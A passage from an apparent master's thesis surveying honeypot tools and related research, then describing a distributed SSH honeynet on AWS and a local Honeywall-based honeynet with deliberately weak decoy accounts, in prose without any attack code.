Reference [47] has given a detailed explanation of most of the commonly used
honeypot tools. The tools are implementations of low and medium-interaction
mechanisms and it’s believed that knowing the working procedures as well as
the internal modules of such honeypot implementations will help in crafting
the high-interaction honeypot that is planned in this research work. Consider-
ing this, a brief explanation of the most important characteristics of the tools is
presented below :

1. Glastopf This is a web application honeypot that emulates a number of
vulnerabilities and gather data from attacks specifically targeting web
applications. The honeypot tool works in a way that it receives web re-
quests and sends a synthesized response. Its low interaction honeypot
and doesnt do much interaction with attackers but it identifies requests
that target specific vulnerabilities. It also identify search engine bots and
files they need for their normal operation and it helps in identifying such
requests from those with a negative and malicious intent.

2. High Interaction Honeypot Analysis Toolkit (HIHAT) This is a very in-
teractive web application honeypot tool that can alos provide graphical
user interface to monitor and analyze data to and from the honeypots. In
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its data analysis component the tools is able to identify the geographical
location of IP addresses and provide a map interface to report data in an
explanatory manner. The tool aims at capturing advanced and specif-
ically tailored attacks that automated scans that are more common in
the current networking environments. Another important feature of this
tool which has to be mentioned here is its ability to quarantine malicious
content and enable the possibility to make further analysis.

3. DShield This is a template based interactive web application honeypot
to track automated or non automated probes and performs and log the
requests. The templates are pre-defined and they will be provided to
probes as a response depending on the request. If there is no template
matching a request default web pages are sent back as response. Along
with its template it implements a vulnerability emulator from the Glastopf
web application honeypot described in the beginning of this section.

4. Google Hack Honeypot (GHH) This project is started to counter attack-
ers that use search engines as attack engines. Like the Dshiled this is
also template based and due to lack of newer templates for new vulner-
abilities the tool lacks the capability to identify newer kind of attacks.
In recent years the ability of search engines to probe and collect informa-
tion about online resources is increasing and this is done in an automated
manner; as in the case of the Google Bot. As attackers can use this privi-
lege emphasis shall be given to counter such acts.

5. Kojoney Unlike the above mentioned honeypot types, Kojoney is SSH
service implementation honeypot. It’s developed in python and has
components that can perform some analysis on collected data such as
identifying country from IP address and also outputs reports about the
important components from the collected data.

6. Kippo This is another implementation of fake ssh server like the Kojoney.
The kippo honeypot provides a medium level interaction to logged in
attackers and emulate the linux shell. But it’s easy to identify that the
environment is not real.

7. Honeyd This is a low interaction honeypot that provides different net-
working services by emulating different operating systems such as Win-
dows NT. It’s known for its ability to emulate networking services by
setting providing a configuration file that tells Honeyd what ports to lis-
ten to, what ports shall act as closed and run stored scripts when requests
come in specific ports.

8. Nepenthes This is a low interaction honeypot that emulate vulnerabili-
ties that are commonly used by worms to spread malicious content. This
way its able to encounter existing and new exploits that target the emu-
lated vulnerabilities. The exploits are logged by Netpnethes and further
analysis can be performed.

9. HoneyC This is a different hoenypot implementation from those described
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above. As mentioned in section 2.1.6 there is a need to protect client
machines from malicious servers and client honeypots are the arsenals
for that. HoneyC is a low-interaction client honeypot that interact with
servers and analyze the response from servers. A detailed analysis is per-
formed on the response from a server and it then checks if there are any
policy violations in the client machine after the server responded. De-
pending on the state of the client, it decides if the server can be trusted
or profiled as malicious.

2.1.5 Generations of Honeynets

In the previous section, the different types of honeypots and their implemen-
tations are shown. Considering the well described differences between hon-
eynets and honeypots in [8] and [32] as a common base, it’s wise to look at the
generations of honeynets at a glance. Depending on the technologies adopted,
and the way data capture, control and collection activities have been carried
out within the Honeynet network over the years, the Honeynet has evolved
across 3 architectures or Generations [8].

Generation I Honeynets Gen I Honeynet was developed in 1999 by the Hon-
eynet Project [45]. The architecture was simple with a firewall aided by an IDS
as the gateway and Honeypots placed behind it. This architecture required 2
interfaces on the Honeywall gateway, one facing the external network and one
facing the Honeypots internal network.

Generation II & III Honeynets The major architectural change in Generation
II and III honeynets is the integration of data control and data capture mech-
anisms into a single transparent bridge device referred to as IDS Gateway or
the Honeywall. The honeywall gateway has three interfaces, two of them for
the transparent bridge and the third one for the remote management and con-
figuration of the Honeywall using a secured web interface. The architectures
of Gen II and Gen III Honeynets is similar except that Sebek server is built in
the Gen III honeynets.

2.1.6 Client Honeypots

The types of honeypots described in section 2.1.4.1 are mostly used as flavors
of server side honeypots. In server side honeypots the services that run are
accessible to clients (mainly to attackers) as any attempt to connect with the
honeypot is considered as malicious and they emulate vulnerabilities related
to servers. With server side honeypots one is able to identify targets trying to
abuse the resources. However there are another group of attackers that run
servers and infect or attack innocent clients trying to communicate with them
seeking legitimate services. Such malicious servers can be identified by de-
ploying client honeypots that actively search for malicious activities and con-
tent on the Internet. This approach differs from server honeypots that open
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their gates and wait for communication requests from others. In [32] usage of
search engines, blacklists, links in spam or phishing messages and typosquat-
ting(a method relying on common typographical errors in web browsing ex-
perience) is promising to identify malicious servers. Client honeypots are also
classified in to two -

1. Low-Interaction Client Honeypot: there will be a stringent controlling
mechanism to limit the level of actions the attacking servers can pose on
the client.

2. High-Interaction Client Honeypot: there is more open approach to give
better play ground to attacking servers so that one gets detailed informa-
tion about the attack procedure and approach of the malicious server.

2.1.7 Security in the Era of Cloud Computing

Cloud computing is a state of the art technology that enables provisioning
of different digital services by using a well built and managed infrastructure
owned by cloud service providers. Cloud computing enabled a new service
provisioning model such as Software as a Service, Security as a Service, Plat-
form as a Service and Infrastructure as a Service. However, as described in
the introduction section, proliferation of the technology has bought it a focus
from attackers. In addition, security issues in the cloud environment present
significant challenges. The technical and legal hurdles to detecting and inves-
tigating information security incidents when computing environments span
geographical, jurisdictional and organizational boundaries [48]. Reference [37]
categorizes security attacks in to three groups -

1. Misuse of access,

2. Defense bypass,

3. Access Control failure

Misuse of access refers to an attack by an insider or authorized user [29] who
tries to access a resource in a way that she is not supposed to. Defense bypass
is a mechanism of bypassing the perimeter defense that controls access to a
particular digital system. A system might implement firewalls, passwords or
other solutions as a defense mechanism and any action by unauthorized per-
sons to pass the perimeter is considered as an attack. Such attacks can also
materialize if the account of a user is compromised [29] and a faulty premise
is being used. The third type of attack is Access Control failure, in which case
the implemented access control mechanism failed to keep its’ promise because
of an inherent problem or usage of improper access control mechanism for a
particular system environment.
These categories of attacks have a higher level of complexity when it comes to
the cloud infrastructure. For instance in the cloud resources are usually shared
among several systems; a failure in the access control of the system will put
many parties at stake and may have catastrophic consequences. In addition,
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even if the underlying technologies in cloud computing have been well under-
stood, the combined effect on the challenges for collection, preservation and
analysis of digital forensics evidence can create new challenges [48]. The tech-
nical and procedural capabilities of digital forensics shall evolve alongside.

The next section (2.2) gives a detailed view of the use of honeypots by the
research community to mitigate with security threats and deal with attackers
exploiting vulnerabilities.

2.2 State of The Art

This section presents state of the art works in the area of honeypot technology
with emphasis on distributed deployment approach. There has been a number
of research papers reviewed in the due course of the thesis work and those
that are listed here are found to have close resemblance and are the viable
candidates to be used together with this thesis work to step up the area of
distributed honeypot deployment.

”Towards Simulating a Virtual Distributed Honeynet at KFUPM: Case Study”
[49]

The research had two main objectives - the first objective is to conduct a com-
prehensive survey to implement a distributed honeynet and explain the ar-
chitecture and design and the second objective is to the experience of the re-
searchers in simulating the virtual distributed honeynet environment. The re-
search was done within the network of King Fahd University of Petroleum and
Minerals (KFUPM). State of the art tools in the honeynet technology have been
used including sebek which is a key stroke logging tool even from encrypted
communication sessions like SSH. The research identified that, of all the data
captured in the logging tools and the sniffers, the data from the individual hon-
eypots was found to be the most valuable one. Both the honeywall CDROM
and KFSensor has been deployed. The honeywall CDROM is a well tested and
widely used Linux based honeynet deployment package and proved to be a
solid tool that is capable of capturing great deal of information and assisting in
analyzing traffic on honeypots[49]. The KFSensor on the other hand is a win-
dows based honeynet Intrusion Detection System and acts as a honeypot to at-
tract and detect hackers and worms by simulating vulnerable system services
and trojans [50]. By acting as a decoy server it can divert attacks from criti-
cal systems and provide a higher level of information than can be achieved by
using firewalls and NIDS alone. It’s designed for use in Windows based corpo-
rate environment and like the honeywall CDROM, it allows remote manage-
ment with a GUI based management console. The researchers claimed the risk

of deploying high interaction honeynet in the University’s network and de-
ployed Tcpreplay to simulate the university’s traffic in the honeynet, instead
of actually deploying it in the physical network. Tcpreplay is a suite of BSD
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GPLv3 licensed tools for UNIX and Win32 operating systems which give the
ability to test network devices, classify traffic as client or server from captured
traffic pcap file, rewrite Layer 2, 3 and 4 headers and finally replay the traffic
back onto the network [51]. These features and capabilities of tcpreplay made
it a promising tool to be used in network simulation specially when one’s tasks
can put the network at stake. But the main stream usage of tcpreplay as shown
in both [52] [51], is to inject a stored packet file into a network for forensics or
related tasks. The usage of Tcpreplay in the context of simulating the Univer-
sity’s network in the honeynet deployment is not
and the paper [49] lacks detailed explanation from that aspect. A similar issue
is noted in the usage of Sebek, a kernel key logging tool [53]; the paper lacks
a detailed explanation of how Sebek was used in the experiment and the re-
sult section hasn’t also shown key logging related results. The paper concludes
with a recommendation of further work in expanding the honeynet network to
include other colleges and campuses of the university. Given the fact that the
network used is within a specific address space of the University, more work
is required to entertain the benefits of distributed honeynet implementation.

”Leurre.com: on the advantages of deploying a large scale distributed
honeypot platform” [54]

The Leurre.com is an initiative to deploy a large scale distributed honeypot
platform with a number of stakeholders from different countries. The project
has succeeded in establishing a data collection framework and analysis of the
collected data. The paper [54] spotted several well known techniques to ob-
serve criminal activities on the Internet by monitoring communication traffic
such has the global telescopes or dark nets that offered a view of global trends
by using unused IP addresses as target honeypots. Centralizing firewall logs
and IDS alerts from different environments is also suggested as one mech-
anism to have a rich pool of attack incident data. Despite the potentials of
such approaches, the paper advocates the usefulness of focusing on the need
of local views, on several locations, to get more precise information on some
attacks. A distributed honeypot environment is deployed in several countries
and analysis of the collected data was done to have a view of the global as well
as local patterns. The data collection environment Leurre.com is based on low-

interaction honeypots using the free source software, honeyd [55]. A number
of OS platforms and various services have been emulated and traffic to the de-
coy servers was entirely logged in using tcpdump. A secure mechanism was
in place to transfer the collected data to a central server on a daily basis. Al-
though it wasn’t possible to know the status of the initiative at the time of this
writing, there were one or more honeypots deployed in Australia, Belgium,
Colombia, Germany, Italy, Ivory Coast,Lithuania, France, Poland, Taiwan and
USA [54]. It’s a dominantly European network but it tried to cover other con-
tinents as well to some extent. From the IP addresses, China and USA were
identified as the dominant attack sources in most of the above listed sites.
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The paper hasn’t gone through a deeper analysis of the observed phenomena
on the distributed honeypots, rather it demonstrated the importance of de-
ploying distributed honeypots in various places. Although interesting result
has been gained from the research work, the deployed honeypots are low-
interaction and it’s usually not possible to gain detailed information about at-
tacks and attack agents due to easy detectability of emulated environments by
low-interaction honeypots [8]. The huge potential of coupling distributed ap-
proach with high-interaction honeypots can be deduced from the result of the
research work.

”Collecting Malware from Distributed Honeypots - Honeypharm” [56]

The research utilizes the intact power of Nepenthes to collect malicious soft-
ware (malware) from distributed honeypots. In the deployment of distributed
honeypots, data collection is a very critical matter and there must be a means
to manage the data from Nepenthes that is running on the honeypots. With
such implementations, the malware detection and analysis can be done at
early stage, possibly before its propagation and cause severe damage. The pa-
per claims unlike signature based approach, that is usually used by antivirus
software providers, early detection malwares using honeypots is a proactive
mechanism. As the number of deployed honeypots increases its natural to ex-
pect higher chance of getting new malwares and the research suggests a Hon-
eyPHRAM which is an extension of Nepenthes PHRAM that gives the ability
to collect malware from distributed Nepenthes nodes in a central repository.
Findings can then be analyzed and appropriate actions be taken including but
not limited to early warning of threats.

A Client/Server architecture is followed to setup the HoneyPHRAM in order
to collect malware related information from the client honeypots and forwards
the collected data to the server. The architecture is said to satisfy the four needs
of the researchers collection, submission, analysis and presentation of malware
and related data. In order to increase the security of the system, the server
accepts data from specific IP addresses destined to specific ports. A continuous
monitoring and health check is done at the clients. Data collected on the server
can be viewed using a web interface and some data analysis techniques are
already incorporated in the web application and one can view data in different
formats using the web interface. The system is limited to collect data from
only Nepenthes with a future projection of integrating Dionaea, claimed as a
more intelligent malware collecting honeypot [56]. An article published by
nepenthes developer Markus in 2010 [57] listed 7 vulnerabilities and problems
on the Nepnethes malware detection tool and suggested a move to Dionaea.

”Experiences with a Generation III Virtual Honeynet” [8]

The paper focuses on a research work in Generation III Virtual Honeynet. Most
network security tools like firewalls and IDS are passive in nature and they
lack the potential to detect newly coming anomalous network traffic or pro-
grams. Honeypots do not solve the security problem but provide data that aids
the system administrator in enhancing the overall security of their network.
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This knowledge can be used as input to any early warning systems. The sug-
gested Generation III Virtual Honeynet is established using VMware Server
and the Honewall CRDOM Roo. The purpose of the Honeywall CDROM is
to automate the installation and maintenance of a Honeynet and provide data
analysis support for all activities within the Honeynet. Honeywall Roo in-
cludes the following security and data analysis tools:

1. Snort

2. Snort inline

3. Argus

4. Tcpdump

5. Hflow2

6. Sebek and

7. The Walleye Web based interface for Honeywall configuration, adminis-
tration and data analysis.

The honeypots are implemented as a standard Ubuntu server with basic ser-
vices running that included SSHD, FTPD and HTTPD. In order to capture both
the user name and passwords in ssh login attempts patching of Open SSH was
done. In order to hide the existence of Sebek tool its name is concealed as name
of a normal printer driver. Access to the management interface was restricted
to specific IP addresses and this increases the security of the honeywall server.
In a period of 60 days 30,000 attack attempts were identified and 6 of which are
described as sophisticated as per the forensic analysis result of the researchers.
Further research work in performance comparison of virtualization platforms
with respect to running honeynets and an efficient analysis tool to effectively
correlate attacks with attackers is suggested as a future work.

”Design and Implementation of a Distributed Early Warning System
Combined with Intrusion Detection System and Honeypot” [39]

Network attack and defense is a never ending war and with the rapid develop-
ment of the Internet, network attacks have increased and diversified in nature.
As pointed out in the different research works listed in this section, the re-
searchers claimed that traditional firewall and IDS methods can’t cop up with
the the dynamic change of the digital world. One possible weakness with such
traditional defense systems is that, it is possible for attackers to know what ser-
vices are allowed to the outside and once they gain access to an internal ma-
chine using that will be an attack heaven. Having this in mind a better security
model is required and Honeypots are in the solutions list. The researchers sug-
gested an Early Warning System that basically combines IDS and Honeypots
to collect security incident related data and produce early warning depending
on the result of analysis of the collected data.
The proposed system consists of snort and Nepenthes or Sebek. Nepenthes
is a low interaction honeypot and it’s deployed in the campus and a private
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company networks. The honeypots run for a month and a total of 2,571 attacks
were detected of which 761 of them are grouped as high risk attacks. Port 445
is the top target and list of IP addresses used by attackers are identified. The
researchers claimed a development of Early Warning System based on the col-
lected data, but the paper doesn’t contain description about the system and
how it can be used.

”Analyzing Network Security from a Defense in Depth Perspective” [47]

This is a comparative analysis of honeypot setups in systems with and without
Intrusion Detection Systems. The research was done at Hogskolen i Oslo for a
masters thesis in 2011. The main considerations in the deployment of the hon-
eynet setup was the ever increase in the frequency of attacks on web and ssh
services. The author argued that more than 60 percent of the total number of
attack attempts on the Internet are focused on web applications and a notable
number of attacks on ssh servers. To that end the study focuses on collecting
attack data related to web and ssh servers using the Glastopf web server Hon-
eypot and Kojoney SSH server honeypot, respectively. The Glastopf honeypot

emulates a web server that accepts requests and respond in such a way that it
points some sort of vulnerability in the web server. This will fire up the lust
of attackers to continue the communication and exploit the vulnerability. The
Kojoney SSH server honeypot also works in a similar fashion by emulating a
fake SSH server. Once the other party tries to remotely communicate with the
honeypot using SSH, Kojoney will take of its requests and tracks every activi-
ties of the attacker if he is able to log in. Kojoney can be configured with any
number of user accounts and password and it’s wise to use commonly guessed
user names and give weak passwords so that attackers can easily show up. On
the honey net setup with IDS, snort and OSSEC HIDS are used. The study has

some interesting results which shows a number of parameters to help system
administrators and users in order to increase the security of a system setup.

• Statistics on IP addresses participated in attack attempts

• Statistics on geographical origins of attack agents

• Statistics on successful and failed log in attempts

• Statistics on user names and passwords attackers use

• Statistics on frequency, type and alerts of attacks

The configuration setup script (aka scripts/setup.php) in phpMyAdmin 2.11.x
before 2.11.9.5 does not properly restrict key names in its output file, which
allows remote execution of remote PHP code via a crafted POST request. An
attacker can pass some variables and commands in an http URL to the script
which the script allows to be run. This vulnerability can give a non root access
to a server with the possibility to upload more scripts in to the server and run
a number of commands. There was also an attack that started by using the
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Toata dragostea mea pentru vulnerability scanner. This vulnerability scanner
helps hackers to identify security holes on web application like phpMyAdmin,
Drupal, webmail clients and many others.

An interesting result from the Glastopf Honeypot data collection and anal-
ysis is there appeared to be more attack and attack attempts on web server
with IDS compared to those without an IDS setup. One reason is the attack-
ers might think a system with IDS is more valuable and try to hack in to it so
that to identify what is contained in. This raises the need to emphasize the
effectiveness of any security solutions organizations undertake. A weaker or
vulnerable security mechanism can attract more attackers and without giving
enough protection. The paper concludes by pointing out further work on hon-
eypots using the Sebek key stroke capture tool and network forensic tools to
:-

• see what commands attackers use

• find out what passwords are used by attackers even in an encrypted com-
munication

and perform intelligent analysis of collected data using specialized forensics
tools.

”Defending against Internet Worms using Honeyfarm”[58].

The paper bases its motive on the effectiveness of Honeypots against zero day
threats and an hypothesis to make them more effective by combining signa-
ture based and anomaly based detection mechanisms to honeypots. The re-
searchers first made an exhaustive classification of worms to include latest
worms like stuxnet and Morto and then design a better detection mechanism
using Honeyfarm. Honeyfarm is a technology that simplifies the deployment
of large honeypots in a single location rather than deploying many honeypots
in different networks. The major problem with existing worm detection mech-
anisms is presence of false positives and negatives at a higher rate. With the
adoption of signature based and anomaly based detection mechanism to ex-
isting honeypot technologies, the rate has further been improved. The result
of the research showed a success case in identifying attacks by polymorphic
worms. Polymorphic worms are able to change their binary representation as
part of the spreading process [59] to make the detection process quite difficult.
In this research work, the honeyd honeypot tools is used to collect data and
TCPdump to filter payloads for the exploits. The exploits are then analyzed
using the Metasploit Framework penetration testing solution. The result has a
33.3% reduction in false alarm rate and 32.78% increase in detection rate com-
pared to existing detection mechanisms that don’t use honeypots. The research
work is a deployment of honeypots in a single location with an implementa-
tion strategy to redirect traffic, targeting a pool of network addresses, to the
honeypots as per the requested service. For instance if there is a web page
request, the request will be forwarded to one of the honeypots that are sim-
ulating the web-server. In such implementation, the level of interaction with
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attackers is very limited and as mentioned in the paper, the initial deployment
takes higher time which can be considered as a drawback that requires trade-
off between time and accuracy or success rate. The paper claimed as attaining
its target by tracking malicious content and requests very well but concluded
with a future work recommendation of high interaction honeypots usage for
better result.

”An Intrusion Detection System Based on Honeypot Technology” [13]

The paper classifies IDS into anomaly detection systems and misuse detection
systems which we understand as signature based detection systems due to the
fact that they are identified as a means to detect known attack patterns. Due to
the increasing complexity of networks, traditional IDS are subject to omissions,
false positives and difficulty in updating signature databases.

Mobile agents are used to implement the honeypot based IDS. Mobile agents
have the autonomy, flexibility and intelligence to execute a sequence of codes
by moving around a network of machines. In addition to the mobile agents,
the system has 5 components - data acquisition module, data detection mod-
ule, honeypot, response module and rule base. The researchers hasn’t pointed
out how effective the suggested combination of IDS and honeypot is compared
to existing solutions but they claimed that the solution is more suitable for the
current complexity in computer networks.
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Chapter 3

Approach

”The significant problems we face cannot be solved at the same level of thinking we
were at when we created them.” . – Albert Einstein

Chapter 1 and chapter 2 presented a detailed explanation of honeypots and/or
honeynets. Using honeynets it’s possible to track attackers, hunt botnets and
collect information about attack mechanisms and tools. In order to implement
honeynets there are a number of tools whose importance and implementation
details have been demonstrated in various researches [8][][47][39]. This re-
search work is an exploratory research on the implementation of distributed
honeynet to lure attackers, track attack incidents and explore the activities that
occur on the decoy systems. This chapter presents the conceptual model, ex-
periment design, data collection strategy that was in place and the approach
used to analyze collected data and to come to solid conclusions.

The approach is categorized into three sections : The conceptual design section
gives a bird’s-eye view of the experiment design and the major assumptions
behind design considerations. It also presents scientific explanation of how the
design approach can lead to the goals of the research and answer the research
questions. The experiment design section covers the details of the network,
the hard and soft resources used and their importance. A view of how the ex-
periment design leads to addressing the research problems is also shown. The
last section discusses the data collection, management and analysis approach
and how that can address the research questions.

3.1 Conceptual Design

The design is to implement a distributed honeynet to get information about
attacks posed on today’s Internet by collecting information from honeypots
running on 9 data centers that are distributed in 5 continents. A distributed
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honeynet approach provides a means to collect information about the global
attack landscape and to give a wide view of both location specific and global
level attack mechanisms that can possibly materialize on the honeypots. The
honeypots run in a sand-boxed environment and protection mechanisms are in
place to block extrusion attempts from the honeypots to the external network.
In honeynet implementation, there always is a trade-off between the level of
control on the honeypots and the amount of information one can get. The more
control mechanisms are in place the less likely attacks can materialize which
in turn limits the level of information to collect. The less control mechanisms
are in place, the higher the level of information to collect but with an increased
risk of honeypots used as attack agents by attackers which is an extrusion act.
Most of the design decisions in this thesis work have taken this trade-offs into
consideration.

The tasks in the research work can be represented by a four layer model that’s
shown in figure 3.1.

1. Bottom layer: the layer where the honeypots are placed

2. Management and Monitoring Layer: control access to the honeypots and
collect information from the honeypots

3. Data Integration Layer: consolidating the collected data in order to make
effective and intelligent analysis in a way that can help identify inter and
intra-relationships among data elements

4. Data Analysis and Reporting Layer: to make the analysis based on the
data from layer 3 and report the result in the required format.

Managing Monitoring

Data Integration

Data Analysis and Reporting

Figure 3.1: Conceptual
model

In the implementation of the
model, the data integration and
data analysis layers can be shared
by both the local honeynet setup
and the distributed honeypot
setup; however the bottom two
layers have different implemen-
tation approaches for each setup.
The reason behind the separa-
tion, is the level of control that
can be exercised on the two net-
works. More control on the net-
work helps in setting the limit of
decoys to lure attackers higher.
Descriptions on the internal de-
tails of the two honeyet setups
are presented in the sections 3.3
and 3.2. The model is imple-
mented using different mecha-
nisms working synchronously. It
involves scripting, usage of exist-
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ing tools for data collection and analysis and formal descriptions of results as
shown in subsequent sections.

3.2 Distributed Honeynet Experiment Design

The honeynet model shown in figure (3.1) is implemented by distributing hon-
eypots in geographical locations at different corners of the world. Such imple-
mentation can give a view of the global attack landscape and a better under-
standing of malicious activities that are crucial to characterize maliciousness
with a higher level of precision. By doing the experiment in this way it possi-
ble to answer the research questions For the implementation of the distributed
honeynet the available option was using Amazon AWS cloud that have a track
record of offering reliable cloud service with global infrastructure having its
data centers distributed in 5 regions spanning 5 continents[60]. The locations
are referred as AWS regions, and they are US West Region (N. California and
Oregon), US East Region (N. Virginia), Sao Paulo Region (Sao Paulo), EU Re-
gion (Ireland) and Asia Pacific Region (Sydney, Singapore and Tokyo).
This distribution of data centers with publicly available machines running on
makes is the best candidate to implement the distributed honeynet design. As
a research honeynet, there is a need to get the most out of the honeynet im-
plementation planned in this research work. However, as described in section
2.1.4.1 the different honeypot and honeynet types have their own pros and
cons. From the different types of honeypots, high interaction honeypots are
sources of rich pool of data but with a higher risk of compromise. The imple-
mentation platform or AWS cloud has its own acceptable use policy and secu-
rity requirements [61] that should be taken into consideration. Taking this into
account, it is decided to implement the distributed honeynet using EC2 (Elas-
tic Computing Cloud) instances running on the different regions of the AWS
Cloud and some virtual machines hosted in the college’s (HiOA) network. The
level of vulnerability to be induced in the honeypots differs depending on the
network and a separate section 3.3 discusses the implementation detail for the
honeynet setup at the college and in this section the focus is on the implemen-
tation at the AWS cloud.
Figure 3.2 shows the higher level view of the distributed setup. In this im-
plementation, honeypots are configured in the different locations and the logs
are collected at a central log server using rsyslog. The target is to get infor-
mation related to SSH scans and from those that succeeded to log-in. This is
the level found to lie under the possible and allowed frame of implementa-
tion, considering all the restrictions and level of risk that can fairly be taken.
A much better alternative implementation approach could be a full-fledged
Generation III honeynet that can give detailed logging and control options on
the honeypots.

In this distributed honeynet setup, the instances are manged remotely through
the web interface provided by the AWS cloud. The management can be done
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Remote Management
for EC2 Instances

Remote Syslog
Server

Amazon Web Services

Figure 3.2: Experiment Design for the Distributed Honeynet

by any machine with web browsing and remote ssh log-in software. The re-
mote system logging server is hosted at HiOA network and rsyslog is used
on a specified port to accept logs from the remote honeypots. The commu-
nication is allowed on a specific port and rysylog allows to list the allowed
clients in the rsyslog.conf file of the log server. This limits the machines from
which the server can accept logs and all other traffic is filtered using iptables.
The client machines have limited outbound connection in order to minimize
the risk that they are used as an arsenal to attackers that successfully logged in.

In order to increase the security of the log communication there is a possibility
to use certificates so that the client machines will be authenticated to the rsys-
log server using keys. One machine is configured as a certificate authority so
that is uses a self signed certificate. Then the rsyslog server and all the clients
can have their certificates signed by the certificate authority (CA). It was tried
to setup secure communication between the server and some of the clients but
the logging didn’t run smoothly and the logging has fallback to the default
rsyslog configuration. Another option is to use MySQL database by creating
database that is password locked. The weakness in this option is the password
is written in the rsyslog.conf file in plain text.

There are a total of 22 EC2 instances created in the honeynet setup. The 16
instances are distributed on 8 of the locations, 2 instances in each. All these
instances are with public key authentication option and we intended to collect
only ssh scan attempts by logging the source IP addresses and the user names
used. Then in 3 regions, 2 instances in each are created with a user names that
are commonly used and set with weaker passwords. The 3 regions are selected
from the 8, as per the volume of ssh scan attempts to those regions based on
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analysis of the data collected at the time. This is limited to 3 regions due to the
fact that there was limited time to make thorough analysis if higher number of
attacks materialize on the machines.

3.3 Local Honeynet Experiment Design

In the previous section a detailed description of a distributed honeynet setup is
presented. As mentioned there, the AWS cloud that is used to host the honey-
pots has its security restrictions and the level of control on the network design
and configuration is limited. However, as part of this distributed honeynet im-
plementation, it’s possible to setup a honeynet at the school (HiOA) network
which can enrich the data collection experience. In the HiOA network, higher
level access was given in its vlab network so that to adjust most of the config-
uration options that are found important for honeynet implementation.

The local honeynet can be setup within the HiOA network using different de-
sign alternatives. One way is to setup a central logging server and configure
the honeypots to send their logs to the log server. The logging can be done us-
ing standard remote system logging service like rsyslog or using tools such as
LUARM (Logging User Actions in Relational Mode)[62]. LUARM is an open
source tool that enables logging of internal activities and reporting that into
MySQL database on a remote server. It has a rich pool of logging capabilities
on file, process, system and network activities. Such approaches enhance the
data logging experience but that decreases the deceptive level of the honey-
pots and might give suspicious signals to attackers.
It’s also wise to consider setting up a bridge between the honeypots and the
outside network whose presence is concealed for outsiders. Then perform-
ing the logging and controlling activities on the bridge rather than the hon-
eypots. The Honeynet project has developed a tool stack named Honeywall
CDROM that is packaged with OS platform and different tools whose impor-
tance for honeynet implementation is highly favored. The Honewall CDROM
is installed on a Honeywall machine which is a bridge between the honeypots
and the external network. As the name indicates the ”Honeywall”, walls the
honeynet in the sense that any communication to the honeypots is only possi-
ble through it. It doesn’t at all protect the honeypots from attacks or intrusion
attempts but it blocks the honeypots from being used as an arsenal for attack-
ers who succeeded to break in and try to break out.
The Honeywall CDROM is one of the most important outputs of the Honeynet
project. It has enabled the most important tasks of honeynet implementation
such as data logging and extrusion prevention into a single machine. I has a
CentOS platform and the following tools are set to facilitate the data logging
and address security issues on the honeynet:

1. Snort

2. Snort inline
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3. Tcpdump

4. The Walleye Web based interface for Honeywall configuration, adminis-
tration and data analysis.

The full fledged honeynet that’s setup at the HiOA network is designed as
shown in figure 3.3. The Honeywall machine is installed with three network
interfaces. The two interfaces are used to setup a bridge between the honey-
pots and the external network. As mentioned in section 2.1.4.1 a transparent
bridge conceals its presence from external parties and it performs network traf-
fic logging and extrusion prevention tasks. The third network interface is used
to remotely connect to the honeywall and perform some configuration tasks,
restart services and access the network traffic logs through its web based in-
terface named the Walleye Flow View.

Virtual Machine Honeypots

Xen Server

Honeywall

HiOA
Network

Internet

Honeywall
Management

Interface

Lab Setup

Figure 3.3: Experiment Design for the Local Honeynet

The honeywall CDROM is capable of logging key strokes using Sebek server
that is loaded in it by default. Sebek has a Client/Sever architecture the Sebek
client must be configured on the honeypots so that the key logger can work.
A reasonably enough time was spent to install Sebek client on the honeypots
but the attempt didn’t succeed because the tool has no latest version after its
release in 2005 [53] and that was not found compatible with OS versions that
is in use on the honeypots. Getting back to a compatible OS version might in-
cur kernel level compromises due to lack of enough security patches in older
OS versions. In addition, some researchers have identified detection methods
of Sebek installation based on its traces [32] [63]. Due to these reasons, us-
age of Sebek is left undone. Another option for kernel level key logging is
hacking into the kernel source code which is possible to conceal its existence;
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but that can possibly take more time than what is allocated for that phase of
the research work. And alternative approaches like configuring ”.bashrc” and
”rsyslog” to remotely log shell commands in real time and the ”acct” audit tool
are preferred. In the first option, keystrokes on the shell are sent directly to a
remote server just like they are logged on locally in ”.bash history” file and the
attackers won’t be able to delete it. With the second option, logs are managed
separately and it’s possible to get logs even if the ”.bash history” is wiped out.
It also make it easier to look for specific commands or identify commands run
by specific user.

With the kernel level key logging capability, it’s possible to log the passwords
used in scanning attempts and commands that are used by attackers after they
successfully logged in. There are low to medium level interaction honeypots
specifically designed for such purpose like the Kippo SSH honeypot. Kippo is
a medium interaction SSH honeypot, from the Google Code project, designed
to log SSH scan attacks and most importantly the entire shell interaction per-
formed by attackers [64]. A recent study from the University of Amsterdam
[65] has identified Kippo as a tool capable of collecting credentials and thor-
oughly analyzing attackers actions. As the tool satisfies the requirements of
key logging it’s chosen to be implemented in one of the VMs at the local hon-
eynet setup.

3.4 Luring Attackers

As companies promote their products, a honeynet designer shall perform some
tasks to invite and let in attackers. The mechanisms have to be a deceptive so
that the real purpose of the decoys shall not be known to those who have the
lust to come. A number of mechanisms can be used to lure attackers to high in-
teraction honeypots. For instance a system with a commonly used user name
and weak password, can easily end up in the vicinity of attackers and it will
allow access to attackers and for the honeynet owners, the possibility to track
the activities of attackers by closely controlling the system and grabbing logs.
The following list of actions are found viable to attract attackers and deceive
the real purpose of the decoys

How to lure attacers to the Local Honeynet Setup

In the local honeynet setup the following mechanisms are used to lure attack-
ers :

1. No firewall has been established on the honeypots as well as on the
bridge that can filter inbound traffic destined to the decoys

2. The Honeywall doesnt reveal information about the packets being dropped
to the honeypots.
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3. The host names given follow a logical naming structures representing
common departments such as HR, Management, Finance, IT, Technical,
....

4. The machines have been configured with user names and passwords that
are commonly used by scanning scripts and also identified in different
related researches. A long with the user accounts that are set with weak
passwords, there were user names with people names and strong pass-
words for the same reason of deception. Here it should be noted that
in all of the High-interaction honeypot machines the root password was
set to be strong by following common strong password advises. This
minimizes the risk of root account compromise, that might affect the
data collection and logging on the honeypots and gives the possibility
for successful attackers to hide their traces.

5. Some of the virtual machines were configured to simulate a webserver
with vulnerable applications like older release of phpmyadmin and other
possible attack targets like Drupal and Joomla with a number of weak-
nesses as per CVE vulnerability database. There were simple websites
hosted on the honeypots that are accessible from outside and can give
the sense that the web server is real.

6. In the webservers, the robot.txt file was contented to give some informa-
tion about the names and locations of files in the web server. This helps
to guide external parties to the content and structure of the web server’s
content.

How to lure attackers in the Distributed Honeynet Setup

In the distributed honeynet setup the following mechanisms are used to lure
attackers :

1. The machines are configured with a firewall that can only block suspi-
cious outbound connection attempts

2. The machines have users with commonly used names and weak pass-
